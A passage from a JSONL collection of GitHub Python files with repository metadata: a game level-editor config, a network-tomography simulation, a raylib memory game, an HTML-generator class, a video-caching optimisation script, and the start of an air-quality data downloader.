'',\n\t\t'extensions': '',\n\t\t'lights': [],\n\t}\n\tconfig.update (kargs)\n\n\treturn config\n\nD = 0\nPADDLE_PROPERTIES_TYPES = {\n    'name': (str, DI()),\n    'kind': (int, DI()),\n    \n    'kPaddleFlagOffensiveSide': (bool, DI()),\n    'kPaddleFlagCollisionDisabled': (bool, DI()),\n    'kPaddleFlagBlockTouches': (bool, DI()),\n    'kPaddleFlagScriptHandleTouches': (bool, DI()),\n    'kPaddleFlagIsButton': (bool, DI()),\n    'kPaddleFlagSelected': (bool, DI()),\n    'kPaddleFlagEnabled': (bool, DI()),\n    'kPaddleFlagIsInvisible': (bool, DI()),\n    'kPaddleFlagScriptOnEnter': (bool, DI()),\n    'kPaddleFlagScriptOnExit': (bool, DI()),\n    'kPaddleFlagScriptApplyProximityInfluenceToHero': (bool, DI()),\n    'kPaddleFlagScriptOnSideToggled': (bool, DI()),\n    'kPaddleFlagScriptUpdate': (bool, DI()),\n    #'kPaddleFlagScriptUpdateAI': (bool, DI()),\n    'kPaddleFlagScriptOnHeroInProxymityArea': (bool, DI()),\n    'kPaddleFlagNoPositionLimit': (bool, DI()),\n    'kPaddleFlagIsGlobal': (bool, DI()),\n\n    'positionX': (float, DI()),\n    'positionY': (float, DI()),\n    'width': (float, DI()),\n    'height': (float, DI()),\n    'z': (float, DI()),\n\n    'energy': (float, DI()),\n    'elasticity': (float, DI()),\n\n    'scorePerHit': (int, DI()),\n    \n    'colorMode': (int, DI()),\n    'colorOpacity': (int, DI()),\n    'colorColor1': (tColor, DI()),\n    'colorColor2': (tColor, DI()),\n    'colorTintToDuration': (float, DI()),\n  \n    'textureName': (str, DI()),\n \n    'speedX': (float, DI()),\n    'speedY': (float, DI()),\n    'minX': (float, DI()),\n    'minY': (float, DI()),\n    'maxX': (float, DI()),\n    'maxY': (float, DI()),\n    \n    'proximityMode': (int, DI()),\n    'proximityWidth': (float, DI()),\n    'proximityHeight': (float, DI()),\n    'proximityAccelerationX': (float, DI()),\n    'proximityAccelerationY': (float, DI()),\n    \n    'aiDefensiveKind': (str, DI()),\n    'aiDefensiveConfig': (str, DI()),\n    'aiOffensiveKind': (str, DI()),\n    'aiOffensiveConfig': (str, DI()),\n    \n    'labelText': (str, DI()),\n    'labelFont': (str, DI()),\n    'labelFontSize': (int, DI()),\n    'labelColor': (tColor, DI()),\n    'labelOpacity': (int, DI()),\n\n    'topImageName': (str, DI()),\n    'topImagePositionX': (float, DI()),\n    'topImagePositionY': (float, DI()),\n    'topImageWidth': (int, DI()),\n    'topImageHeight': (int, DI()),\n    'topImageAnchorX': (float, DI()),\n    'topImageAnchorY': (float, DI()),\n    'topImageOpacity': (int, DI()),\n    'topImageRotation': (float, DI()),\n\n    'audioInSound': (str, DI()),\n    'audioOutSound': (str, DI()),\n    'audioSoundLoop': (str, DI()),\n    'audioHitSound': (str, DI()),\n    'audioMoveSound': (str, DI()),\n    'audioMoveSoundTimeout': (float, DI()),\n    'audioClickSound': (str, DI()),\n        \n    'lights': None,\n    'scripts': None,\n    'extensions': None,\n}\n\n","repo_name":"alexiob/Be2","sub_path":"Utilities/levelEditor/ConfigUtilities.py","file_name":"ConfigUtilities.py","file_ext":"py","file_size_in_byte":16293,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"16"}
+{"seq_id":"46720038360","text":"s = \"A man, a plan, a canal: Panama\"\n\ntmp = []\nfor i in s:\n    if i.isalnum():\n        tmp.append(i.lower())\ntmp = \"\".join(tmp)\na = reversed(tmp)\nprint(tmp)\nprint(a)\nprint(tmp == reversed(tmp))","repo_name":"Q-100/Python-study","sub_path":"알고리즘 인터뷰/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7403291670","text":"import numpy as np\nfrom tool import *\nfrom scipy import stats, spatial, cluster\nfrom matplotlib import pyplot as plt\nimport copy\nimport json\nclass HTE:\n\n    @staticmethod\n    def genData3(outDegree=5, pathNum=12, scale=1.0, probesNum=200):\n        # 随机生成topo\n        E = numberTopoByVTree(GenTree(outDegree, pathNum))\n        VTree = EtoVTree(E)\n        # TreePlot(VTree)\n        # VTree = [0,1,1,2,2,2,3,3,3,4,4,5,5,6,6,9,9]\n        # E = numberTopoByVTree(VTree,0)\n        # VTree = EtoVTree(E)\n\n        linkDelay = gen_linkDelay(VTree, scale=scale, probesNum=probesNum)\n        R = getLeafNodes(VTree)\n        RM = getRM(R, VTree)\n        pathDelay = np.dot(RM, linkDelay)\n        S = np.zeros((len(R), len(R)))\n        for i in range(len(R)):\n            for j in range(len(R)):\n                S[i][j] = Covariance_way2(pathDelay[i], pathDelay[j])\n        dist = np.zeros((len(R), len(R)))\n        for i in R:\n            for j in R:\n                if j > i:\n                    dist[i-1][j-1] = 1/S[i-1][j-1]*10\n\n        data = {\n            'E': E,\n            'VTree': VTree,\n            'linkDelay': linkDelay,\n            'R': R,\n            'RM': RM,\n            'S': S,\n            'dist': dist\n        }\n        return data\n\n\n    @staticmethod\n    def HTE(data):\n        '''\n        通用部分，输入是点之间的距离，输出是dendrogram树状图\n        :param data:\n        :return:\n        '''\n        z = cluster.hierarchy.linkage(data['dist'], data['way'])\n        data['z'] = z\n\n    @staticmethod\n    def toBTree(data):\n        z = data['z']\n        R = data['R']\n        BE = []\n        Z = []\n        newN = len(R) + 1\n        for item in data['z']:\n            ## Z 的形式是：第一个cluster，第二个cluster，新形成的cluster，两个cluster的距离\n            Z.append([int(item[0]) + 1, int(item[1]) + 1, newN])\n            BE.append((newN, int(item[0]) + 1))\n            BE.append((newN, int(item[1]) + 1))\n            newN = newN + 1\n        Z = np.array(Z)\n        data['Z'] = Z\n        BE.append((0, newN - 1))\n        numberBE = numberTopo(BE, R)\n        BVTree = EtoVTree(numberBE)\n        # TreePlot(BVTree)\n        data['BE'] = numberBE\n\n    @staticmethod\n    def merge3(data):\n        threshold = HTE.get_t(data)\n        data['threshold'] = threshold\n        n = len(data['R']) + 1\n        E = data['BE']\n        newE = []\n        root = 0\n        U = [root]\n        while len(U) != 0:\n            parent = U[0]\n            del U[0]\n            children = getChildren(E, parent)\n            if len(children) == 0:\n                continue\n            U.extend(children)\n            if parent == root:\n                newE.append((parent, children[0]))\n                continue\n            for child in children:\n                if child < n:\n                    U.remove(child)\n                    newE.append((parent, child))\n                    continue\n                if HTE.T_F(data, E, parent, child, threshold):\n                    ##不剪去\n                    newE.append((parent, child))\n                else:\n\n                    HTE.cut(U, child, E, data, parent, threshold, newE)\n\n        numberE = numberTopo(newE, data['R'])\n        numberVTree = EtoVTree(numberE)\n        # TreePlot(numberVTree)\n        data['inferredE'] = numberE\n\n    @staticmethod\n    def cut(U, child, E, data, parent, threshold,newE):\n        U.remove(child)\n        post_children = getChildren(E, child)\n        U.extend(post_children)\n        for post_child in post_children:\n            if post_child < len(data['R'])+1 or HTE.T_F(data, E, parent, post_child, threshold):\n                newE.append((parent, post_child))\n            else:\n                HTE.cut(U,post_child,E,data,parent,threshold,newE)\n\n    @staticmethod\n    def T_F(data,E,parent,child, threshold):\n        if child < len(data['R']):\n            return True\n        p_len = HTE.getSharePathDelaybyParent(data, E, parent)\n        c_len = HTE.getSharePathDelaybyParent(data, E, child)\n        if  c_len-p_len < threshold:\n            #当前边应当剪去\n            return False\n        else:\n            return True\n\n    @staticmethod\n    def getSharePathDelaybyParent(data, E, parent):\n        S = data['S']\n        spd = []\n        children = getDescendants(E, parent)\n        if len(children) == 0:\n            return\n        children.sort()\n        for child1 in children:\n            for child2 in children:\n                if child2 > child1 and getAncestor(E, child2, child1) == parent:\n                    spd.append(S[int(child1)-1][int(child2)-1])\n        return np.mean(spd)\n\n    @staticmethod\n    def get_t(data):\n        linkLen = []\n        for delay in data['linkDelay']:\n            linkLen.append(Variance_way1(delay))\n        return 0.5*np.min(linkLen)\n\n    @staticmethod\n    def test3(outDegree = 5,pathNum = 12,probesNum=200,way='average'):\n        data = HTE.genData3(outDegree=outDegree, pathNum=pathNum, probesNum=probesNum)\n        data['way'] = way\n        HTE.HTE(data)\n        ## 构建二叉树\n        HTE.toBTree(data)\n        HTE.merge3(data)\n        E = data['E']\n        inferredE = data['inferredE']\n        # if E == inferredE:\n        #     return True\n        # else:\n        #     return False\n        return data\n\n\n\n\n    '''\n    由于输入理解错误 现在先把输入修改为 时延协方差的倒数  把输出的dendrogram图  改为VTree  输出图\n    '''\n    @staticmethod\n    def do_sim():\n        PC = []  ## 精度\n        ED = []  ## 编辑距离\n        PN = [_ for _ in range(5, 13)]\n        for pathNum in PN:\n            cnt = 0\n            edit_distance = []\n            listObj = []\n            for i in range(100):\n                data = HTE.test3(outDegree=5, pathNum=pathNum, probesNum=200)\n                E = data['E']\n                inferredE = data['inferredE']\n                ed = calEDbyzss(E, inferredE)\n                edit_distance.append(ed)\n                if ed == 0:\n                    cnt = cnt + 1\n                t1, t2 = toBracketString(E, inferredE)\n                dictObj = {\n                    \"testID\": i,\n                    \"t1\": t1,\n                    \"t2\": t2,\n                    \"d\": ed\n                }\n                listObj.append(dictObj)\n            jsonObj = json.dumps(listObj)\n            # with open('/home/zongwangz/文档/Projects/HTE/data/HTE0/HTE_' + str(pathNum), 'w') as f:\n            #     f.write(jsonObj)\n            #     f.write('\\n')\n            #     f.write(\"mean edit distance:\")\n            #     f.write(str(np.mean(edit_distance)))\n            #     f.write('\\n')\n            #     f.write(\"PC:\")\n            #     f.write(str(cnt / 100))\n            #     f.write('\\n')\n            ED.append(np.mean(edit_distance))\n            print(np.mean(edit_distance))\n            PC.append(cnt / 100)\n            print(cnt / 100)\n\n        fig1 = plt.subplot()\n        plt.xlabel('pathNum')\n        plt.ylabel('edit distance')\n        plt.plot(PN, ED, 'o-', label='HTE')\n        plt.grid(True)\n        plt.legend(bbox_to_anchor=(1.0, 1), loc=1, borderaxespad=0.)\n        plt.show()\n\n        fig2 = plt.subplot()\n        plt.xlabel('pathNum')\n        plt.ylabel('PC')\n        plt.plot(PN, PC, 'o-', label='HTE')\n        plt.grid(True)\n        plt.legend(bbox_to_anchor=(1.0, 1), loc=1, borderaxespad=0.)\n        plt.show()\nif __name__ == \"__main__\":\n    HTE.do_sim()\n    # data = HTE.test3(outDegree=3, pathNum=12, probesNum=1000)\n    # E = data['E']\n    # inferredE = data['inferredE']\n    # if E == inferredE:\n    #     print(\"True\")","repo_name":"dawn-flash/exp_code","sub_path":"ns-3/HTE0/src/HTE0.py","file_name":"HTE0.py","file_ext":"py","file_size_in_byte":7584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31663304058","text":"\nfrom pyray import is_mouse_button_pressed\nimport raylib\n\nfrom game.frame import Frame \nfrom game.game import Game\nfrom game.hide_all_frames import Hide_all_frames\nfrom game.randomize_frames import Randomize_frames\n\nimport constants\nimport sys\nimport math\nimport time\nimport random\n\nfrom raylib import * \n\nclass Game_structure(Game):\n    \"\"\"This Game_structure class is in charge of the functionality \n    of the class Game\n    and implements all the other functions in one class\"\"\"\n    \n    def __init__(self):\n        \n        self.showed = True      #ready\n        self.unhidden = False   #ready\n\n        frame = Frame\n        self.frames = frame.get_frames()\n        \n        #Flags\n        constants.last_seconds = None        \n        self.can_play = True        \n        constants.GAME_STARTED = False\n        \n        # When we are looking for a pair card, we'll need indexs to the List.\n        # First Card            \n        self.x1 = None               \n        self.y1 = None\n\n        # Second Card\n        self.x2 = None\n        self.y2 = None\n        \n        self.xPosMouse = 0\n        self.yPosMouse = 0\n\n        InitWindow (constants.WIDTH, constants.HEIGHT, b\"Memory Game\")\n        SetTargetFPS(60)\n    \n    def game_structure(self):\n\n        while not WindowShouldClose():\n            BeginDrawing()\n            #raylib.DrawText(b\"Press letter B to star game\", 80, 700,20, constants.RED)\n            ClearBackground(constants.RAYWHITE)\n            \n            if self.can_play:\n                #if not self.game_started:    \n                if not constants.GAME_STARTED:\n                    self.start_game()\n\n                self.xPosMouse = GetMouseX()\n                self.yPosMouse = GetMouseY()\n\n                if is_mouse_button_pressed(raylib.MOUSE_BUTTON_LEFT) :\n                    x = int(math.floor(self.xPosMouse / constants.measure_frame))\n                    y = int(math.floor(self.yPosMouse / constants.measure_frame))\n\n                    frame = self.frames[y][x]\n\n                    # showed = True\n                    # unhidden = False\n\n                    if frame.showed or frame.unhidden:\n                        continue\n\n                    if self.x1 is None and self.y1 is None:\n                        self.x1 = x\n                        self.y1 = y\n                        self.frames[self.y1][self.x1].showed = True\n                    else:\n                        self.x2 = x\n                        self.y2 = y\n                        self.frames[self.y2][self.x2].showed = True\n                        frame1 = self.frames[self.y1][self.x1]\n                        frame2 = self.frames[self.y2][self.x2]\n\n                        if frame1.image_source == frame2.image_source:\n                            self.frames[self.y1][self.x1].unhidden = True\n                            self.frames[self.y2][self.x2].unhidden = True\n                            self.x1 = None\n                            self.x2 = None\n                            self.y1 = None\n                            self.y2 = None\n                        else:\n                            constants.last_seconds = int(time.time())\n                            self.can_play = False\n                    self.check_if_you_win()    \n                \n            now = int(time.time())\n\n            if constants.last_seconds is not None and now - constants.last_seconds >= constants.seconds_showed_frame:\n                self.frames[self.y1][self.x1].showed = False\n                self.frames[self.y2][self.x2].showed = False\n                self.x1 = None\n                self.x2 = None\n                self.y1 = None\n                self.y2 = None\n                constants.last_seconds = None\n                self.can_play = True\n\n            #ClearBackground(RAYWHITE)\n            x = 0\n            y = 0\n\n            # loop through the self.frames\n            for row in self.frames:\n                x = 0\n\n                for frame in row:\n                    if frame.unhidden or frame.showed:\n                        name_image = frame.image_source\n                        scarfy1 = LoadTexture(name_image)\n                        DrawTexture(scarfy1, x, y, constants.RAYWHITE)\n                    else:\n                        name_image = constants.unhidden_image_name\n                        scarfy1 = LoadTexture(name_image)\n                        DrawTexture(scarfy1, x, y, constants.RAYWHITE)      \n                    x += constants.measure_frame\n                y += constants.measure_frame\n            \n            EndDrawing()   \n        CloseWindow()\n    \n \n","repo_name":"melaniecristeche/cse210-06","sub_path":"game/game_structure.py","file_name":"game_structure.py","file_ext":"py","file_size_in_byte":4599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40279392882","text":"import re\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nimport os\n\nclass PyWig:\n  def __init__(self, htmlstring = None):\n   htmlstring = \"\"\n   self.htmlstring = htmlstring\n\n  def create_page(self, title):\n    self.htmlstring += f\"<!DOCTYPE html>\\n<html>\\n<head>\\n<title>{title}</title>\\n</head>\\n<body>\"\n\n  def add_header(self, header_type, text, style=None):\n    headerlist = [\"h1\", \"h2\", \"h3\", \"h4\", \"h5\", \"h6\"]\n    if header_type in headerlist:\n      pass\n    else:\n      raise TypeError(\"Invalid header type.\")\n      return\n    if style != None:\n      self.htmlstring += f\"\\n<{header_type} style=\\\"{style}\\\">{text}</{header_type}>\"\n    else:\n      self.htmlstring += f\"\\n<{header_type}>{text}</{header_type}>\"\n\n  def add_text(self, text, style=None):\n    if style != None:\n      self.htmlstring += f\"\\n<p style=\\\"{style}\\\">{text}</p>\"\n    else:\n      self.htmlstring += f\"\\n<p>{text}</p>\"\n\n  def set_background_color(self, color):\n    match = re.search(r'^#(?:[0-9a-fA-F]{3}){1,2}$', color)\n    if match:                      \n      self.htmlstring = self.htmlstring.replace(\"<body>\", f\"<body style=\\\"background-color: {color}\\\">\")\n    else:\n      raise ValueError(\"Invalid hex code.\")\n      return\n\n  def add_link(self, text, link, style=None):\n    if style != None:\n      self.htmlstring += f\"\\n<a href=\\\"{link}\\\" style=\\\"{style}\\\">{text}</a>\"\n    else:\n      self.htmlstring += f\"\\n<a href=\\\"{link}\\\">{text}</a>\"\n\n  def add_break(self):\n    self.htmlstring += \"<br>\\n\"\n\n  def clear(self):\n    self.htmlstring = \"\"\n\n  def add_image(self, src, alt=None, style=None):\n    if alt == None:\n      alt = \"An Image\"\n    if style != None:\n      self.htmlstring += f\"\\n<img src=\\\"{src}\\\" alt=\\\"{alt}\\\" style=\\\"{style}\\\">\"\n    else:\n      self.htmlstring += f\"\\n<img src=\\\"{src}\\\" alt=\\\"{alt}\\\">\"\n\n  def add_video(self, src):\n    oggfile = src.replace(\".mp4\", \".ogg\")\n    self.htmlstring += f\"\\n<video controls>\\n<source src=\\\"{src}\\\" type=\\\"video/mp4\\\">\\n<source src=\\\"{oggfile}\\\" type=\\\"video/ogg\\\"\\nVideo Not Supported\\n</video>\"\n\n  def add_input(self, input_type, style=None):\n    input_list = [\"text\", \"password\", \"checkbox\", \"color\", \"date\", \"datetime-local\",\n    \"email\", \"file\", \"hidden\", \"image\", \"month\", \"number\", \"radio\", \"range\", \"reset\", \n    \"submit\", \"search\", \"tel\", \"time\", \"url\", \"week\"]\n    if input_type in input_list:\n      if style != None:\n        self.htmlstring += f\"\\n<input type=\\\"{input_type}\\\" style=\\\"{style}\\\">\"\n      else:\n        self.htmlstring += f\"\\n<input type=\\\"{input_type}\\\">\"\n    else:\n      raise TypeError(\"Invalid Input Type\")\n\n  def auto_create(self, cooldown : int, max : int, filename : str):\n    num = 0\n    current = 0\n    while current <= max:\n      if num == 0:\n        file = open(f\"{filename}.html\", \"w\")\n        file.write(self.htmlstring)\n        file.close()\n      else:\n        file = open(f\"{filename}-{num}.html\", \"w\")\n        file.write(self.htmlstring)\n        file.close()\n      num += 1\n      current += 1\n      time.sleep(cooldown)\n\n  def add_template(self, template, items = []):\n    num = 0\n    try:\n      while True:\n        if f\"item{num}\" in template:\n          template = template.replace(f\"item{num}\", items[num])\n          num += 1\n        else:\n          break\n    except:\n      raise ValueError(\"Error during template load. Make sure you have enough items to match your template.\")\n      return\n    self.htmlstring += f\"\\n{template}\"\n  \n  def add_list(self, list_type, items = [], style = None):\n    list_types = [\"ol\", \"ul\"]\n    if list_type in list_types:\n      if style == None:\n        self.htmlstring += f\"\\n<{list_type}>\"\n      else:\n        self.htmlstring += f\"\\n<{list_type} style='{style}'>\"\n      for item in items:\n        self.htmlstring += f\"\\n<li>{item}</li>\"\n      self.htmlstring += f\"\\n</{list_type}>\"\n    else:\n      raise ValueError(\"Invalid list type.\")\n\n  def save(self, pagename):\n    self.htmlstring += \"\\n</body>\\n</html>\"\n    file = open(f\"{pagename}.html\",\"w\")\n    file.write(self.htmlstring)\n    file.close()\n    self.htmlstring = self.htmlstring.replace(\"\\n</body>\\n</html>\", \"\")\n\n  def launch(self, filename):\n    chrome_options = Options()\n    chrome_options.add_argument('--no-sandbox')\n    chrome_options.add_argument('--disable-dev-shm-usage')\n    driver = webdriver.Chrome(options=chrome_options)\n    html_file = os.getcwd() + \"//\" + filename\n    driver.get(\"file:///\" + html_file)","repo_name":"BobBrown1/pywig","sub_path":"src/pywig/webpage.py","file_name":"webpage.py","file_ext":"py","file_size_in_byte":4438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40619322902","text":"#============================================#\n#   read inputs                              #\n#============================================#\n\n# main parameters go here\nvideoCount = 1\nendpointCount = 1\nrequestCount = 1\ncacheServerCount = 1\ncacheServerCapacity = 1\n\ntry:\n    args = input().split(' ')\n    videoCount = int(args[0])\n    endpointCount = int(args[1])\n    requestCount = int(args[2])\n    cacheServerCount = int(args[3])\n    cacheServerCapacity = int(args[4])\nexcept:\n    print('Error when reading first line of input')\n    exit()\n\n# get descriptions of each video\nvideoSize = []\ntry:\n    args = input().split(' ')\n\n    if len(args) != videoCount:\n        print('Number of video sizes does not match number of videos')\n        exit()\n\n    for v in range(0, videoCount):\n        videoSize.append(int(args[v]))\nexcept:\n    print('Error when reading video sizes')\n    exit()\n\n# get endpoint data\n\n# hashtable for:\n# endpointDataCenterLatency[<endpoint id>] = <latency to that endpoint>\nendpointDataCenterLatency = {}\n\n# hashtable of hashtables for:\n# endpointCacheLatency[endpoint id][cache id] = <latency from that endpoint to that cache>\nendpointCacheLatency = {}\n\ntry:\n    for e in range(0, endpointCount):\n        eargs = input().split(' ')\n\n        # Determine datacenter latency for this endpoint.\n        latency = int(eargs[0])\n        endpointDataCenterLatency[e] = latency\n        cachesConnected = int(eargs[1])\n\n        # Initalize every cache latency as equal to datacenter latency\n        # This makes the hashtable fully connected.  \n        endpointCacheLatency[e] = {}\n        for cid in range(0, cacheServerCount):\n        \tendpointCacheLatency[e][cid] = latency\n\n    \t# Determine latency of connected caches. \n        for c in range(0, cachesConnected):\n            cargs = input().split(' ')\n\n            cid = int(cargs[0])\n            clatency = int(cargs[1])\n            endpointCacheLatency[e][cid] = clatency\nexcept:\n    print('Error when reading endpoint details')\n    exit()\n\n\n# get request data\n\n# hashtable of hastables for:\n# videoRequestsFromEndpoint[video id][endpoint id] = <number of requests for that video from that endpoint>\nvideoRequestsFromEndpoint = {}\ntry:\n    for r in range(0, requestCount):\n        rarg = input().split(' ')\n        vid = int(rarg[0])\n        endpoint = int(rarg[1])\n        requests = int(rarg[2])\n\n\n        if vid not in videoRequestsFromEndpoint:\n            videoRequestsFromEndpoint[vid] = {}\n\n        # assuming requests for vid from endpoint are only singularly listed, i.e. not split across lines\n        videoRequestsFromEndpoint[vid][endpoint] = requests\nexcept:\n    print('Error when reading video requests')\n    exit()\n\n#============================================#\n#   helper functions                         #\n#============================================#\n\n# returns the value of a video vid if it were put in cache cid\n# does not regard contents of any cache\ndef valueOfVideoInCache(vid : int, cid : int):\n    if videoSize[vid] > cacheServerCapacity:\n        return 0\n\n    if vid not in videoRequestsFromEndpoint:\n        return 0\n\n    totalValue = 0\n    for eid in videoRequestsFromEndpoint[vid]:\n        totalValue += videoRequestsFromEndpoint[vid][eid] * (endpointDataCenterLatency[eid] - endpointCacheLatency[eid][cid])\n\n    return totalValue\n\n# returns the value of a video vid if it were put in cache cid\n# DOES factor in the contents of other caches... but is slower\ndef realisticValueOfVideoInCache(vid : int, cid : int):\n    if videoSize[vid] > cacheServerCapacity:\n        return 0\n\n    if vid not in videoRequestsFromEndpoint:\n        return 0\n\n    totalValue = 0\n    for eid in videoRequestsFromEndpoint[vid]:\n    \ttotalValue += max(0, videoRequestsFromEndpoint[vid][eid] * (currentBestVideoEndpointLatency(vid, eid, cacheVideoAssignments) - endpointCacheLatency[eid][cid]))\n\n    return totalValue\n\n# gives the best current latency for a video and endpoint. \n# If the video isn't in a connected cache, this will be the datacentre latency.\n# Takes a video id, endpoint id, and a list of cache-video assignments \ndef currentBestVideoEndpointLatency(vid, eid, cacheVideoAssignments):\n\tret = endpointDataCenterLatency[eid]\n\n\t# search for the video in connected caches, find the fastest one it's connected to \n\t# Assumes fully connected endpointCacheLatency\n\tfor cid in range(0, cacheServerCount):\n\t\tif endpointCacheLatency[eid][cid] < ret: \n\t\t\tfor assignedVid in cacheVideoAssignments[cid]:\n\t\t\t\tif (assignedVid == vid):\n\t\t\t\t\tret = endpointCacheLatency[eid][cid]\n\n\treturn ret\n\n# gives the best possible latency for a video and endpoint (ie. if the video was cached ideally).\n# If the endpoint has no connected caches OR the video is too large for a cache, returns the datacenter latency.\ndef bestPossibleVideoEndpointLatency(vid, eid):\n\tret = endpointDataCenterLatency[eid]\n\n\t# if the video is too large to fit in a cache, we're done here\n\tif (videoSize[vid] > cacheServerCapacity):\n\t\treturn ret\n\n\t# look at all connected caches, find the fastest one it's connected to \n\tfor cid in range(0, cacheServerCount):\n\t\tif endpointCacheLatency[eid][cid] < ret: \n\t\t\tret = endpointCacheLatency[eid][cid]\n\n\treturn ret\n\n#============================================#\n#   do the thing                             #\n#============================================#\n\n# this stores our answers to the question. \ncacheVideoAssignments = {}\nfor cid in range(0, cacheServerCount):\n\tcacheVideoAssignments[cid] = []\n\n# do the thing\n\n\n# videoCount\n# endpointCount\n# requestCount\n# cacheServerCount\n# cacheServerCapacity\n# videoSize\n# endpointDataCenterLatency[<endpoint id>] = <latency to that endpoint>\n# endpointCacheLatency[endpoint id][cache id] = <latency from that endpoint to that cache>\n# videoRequestsFromEndpoint[video id][endpoint id] = <number of requests for that video from that endpoint>\n\nroundContestants = -1\nwhile True:\n    roundAssignments = {}\n\n    # get all caches that aren't filled\n    for cid in range(0, cacheServerCount):\n        if len(cacheVideoAssignments[cid]) == 0:\n            roundAssignments[cid] = []\n\n    # the number of assignments this time is the same as\n    #   the number of contestants from last time\n    # it is expected to go down with each iteration\n    # if it doesn't go down in one iteration, it will not go down\n    #   in the next iteration\n    currentRoundContestants = len(roundAssignments)\n    if (currentRoundContestants == roundContestants):\n        break\n    elif currentRoundContestants == 0:\n        # also break if there's nothing left to assign\n        break\n    else:\n        roundContestants = currentRoundContestants\n\n    valueTable = {}\n\n    # for each participating cache in this round of assignments\n    for cid in roundAssignments:\n        valueTable[cid] = 0\n        cvideos = roundAssignments[cid]\n\n        # contains tuples of the following:\n        #   vid\n        #   size\n        #   worth on this cache\n        videoTable = []\n\n        # get all videos onto the list on videoTable\n        for vid in range(0, videoCount):\n            videoTable.append((vid, videoSize[vid], realisticValueOfVideoInCache(vid, cid)))\n\n        videoTable = sorted(videoTable, key=lambda V : (V[2] / V[1], V[1], V[0]))\n\n        # start coalescing results into the cache server\n        remainingCapacity = cacheServerCapacity\n        for V in videoTable:\n            vid = V[0]\n            size = V[1]\n            worth = V[2]\n\n            # unworthy videos get no spot\n            if (worth == 0):\n                continue\n\n            # only add a video of it will fit\n            if (size <= remainingCapacity):\n                remainingCapacity -= size\n                cvideos.append(vid)\n                valueTable[cid] += worth\n\n                # no capacity left, done packing\n                if (remainingCapacity == 0):\n                    break\n            else:\n                continue\n\n    # sort the results \n    roundAssignments = sorted(roundAssignments.items(), key=lambda A : (valueTable[A[0]], A[0]), reverse=True)\n\n    bestAssignment = roundAssignments[0]\n\n    # add the best result to the\n    cacheVideoAssignments[bestAssignment[0]] = bestAssignment[1]\n\n#########################\n\n# sanity check - make sure no cache is overfilled \nfor cid in range(0, cacheServerCount): \n\tcapacityUsed = 0\n\tfor vid in cacheVideoAssignments[cid]: \n\t\tcapacityUsed += videoSize[vid]\n\tif (capacityUsed > cacheServerCapacity): \n\t\tprint('ERROR: cache {0} is overfilled (cheater!)'.format(cid))\n\n# score the solution \ntimeSaved = 0\ntotalRequests = 0 \n# go through every request to see how much latency was saved on it \nfor vid in videoRequestsFromEndpoint: \n\tfor eid in videoRequestsFromEndpoint[vid]:\n\t\t# find the time saved by caching the video (if any)\n\t\trequestCount = videoRequestsFromEndpoint[vid][eid]\n\t\tbestLatency = currentBestVideoEndpointLatency(vid, eid, cacheVideoAssignments)\n\t\trequestTimeSaved = requestCount * (endpointDataCenterLatency[eid] - bestLatency)\n\t\ttimeSaved += requestTimeSaved\n\t\ttotalRequests += requestCount\n\n\t\t#find the ideal time save if the video was cached in the fastest possible cache \n\t\tidealLatency = bestPossibleVideoEndpointLatency(vid, eid)\n\t\tidealTimeSaved = requestCount * (endpointDataCenterLatency[eid] - idealLatency)\n\n\t\tprint('vid {0} at eid {1} saved {2} ms (ideal = {3})'.format(vid, eid, requestTimeSaved, idealTimeSaved))\n\nprint('{0} ms saved on average'.format(timeSaved / totalRequests))\n\n#============================================#\n#   print the thing                          #\n#============================================#\n\n# print the solution\n#cacheVideoAssignments = sorted(cacheVideoAssignments.items(), key=lambda A : A[0])\nprint(str(cacheServerCount))\nfor cid in range(0, cacheServerCount):\n    print(str(cid), end='')\n    #cacheVideoAssignments[cid] = sorted(cacheVideoAssignments)\n    for vid in cacheVideoAssignments[cid]:\n        print(' ' + str(vid), end='')\n    print('')","repo_name":"hughbraico/streaming","sub_path":"solution1.py","file_name":"solution1.py","file_ext":"py","file_size_in_byte":9961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32508671528","text":"\"\"\"\r\n17 May 2020\r\nAuthor: Xiandi Ooi\r\n\r\nWe will first download the file from the source. \r\nThen, the data is organized to ease future analysis. Specific changes are as follows:\r\n    1. Column names changed to match the dominant dataframes;\r\n    2. Site location modified to match the dominant dataframes.\r\n\r\n\"\"\"\r\n\r\nimport requests\r\nimport pandas as pd\r\n\r\ndef download_file(url, file_name):\r\n    \"\"\"\r\n    url: url of the file to be downloaded\r\n    file_name: file name to save the file.\r\n    \r\n    This function takes the given url and download it as the given file name.\r\n    \r\n    Note: the document will be saved to the current working directory, change if required.\r\n    \"\"\"        \r\n    try:\r\n        response = requests.get(url)\r\n    except requests.exceptions.HTTPError as http_err:\r\n            print(f\"HTTP error occurred: {http_err}\")  \r\n    except Exception as err:\r\n            print(f\"Other error occurred: {err}\")  \r\n    else:\r\n        with open(file_name, \"wb\") as working_file:\r\n            working_file.write(response.content)\r\n        \r\ndef clean_data(file_name):\r\n    \"\"\"\r\n    file_name: file to be cleaned\r\n    \r\n    This function converts the data types in the original dataframe into more suitable type.\r\n    The good news is that the orginal dataframe is already in good shape so there's less to do.   \r\n    \"\"\"\r\n    \r\n    df_input = pd.read_excel(file_name,sheet_name = \"IPU2016\")\r\n        \r\n    #Checking the basic information about the dataframe (optional)\r\n    #print(df_input.info(), df_input.describe())\r\n    #print(df_input[\"Lokasi\"].unique())\r\n    \r\n    #Making a copy of the dataframe\r\n    df_output = df_input.copy()\r\n    \r\n    #Change column name for consistency\r\n    df_output = df_input.rename(columns = {\"Tarikh\":\"Date\",\r\n                                           \"API\":\"API_Values\",\r\n                                           \"Masa\":\"Time\"})\r\n    #Note that there is no dominant pollutant data for this dataset\r\n    \r\n    #Converting the date into datetime\r\n    df_output[\"Date\"] = df_output[\"Date\"].astype(str)\r\n    df_output[\"Time\"] = df_output[\"Time\"].astype(str)\r\n    df_output[\"Datetime\"] = df_output[[\"Date\",\"Time\"]].agg(\"-\".join, 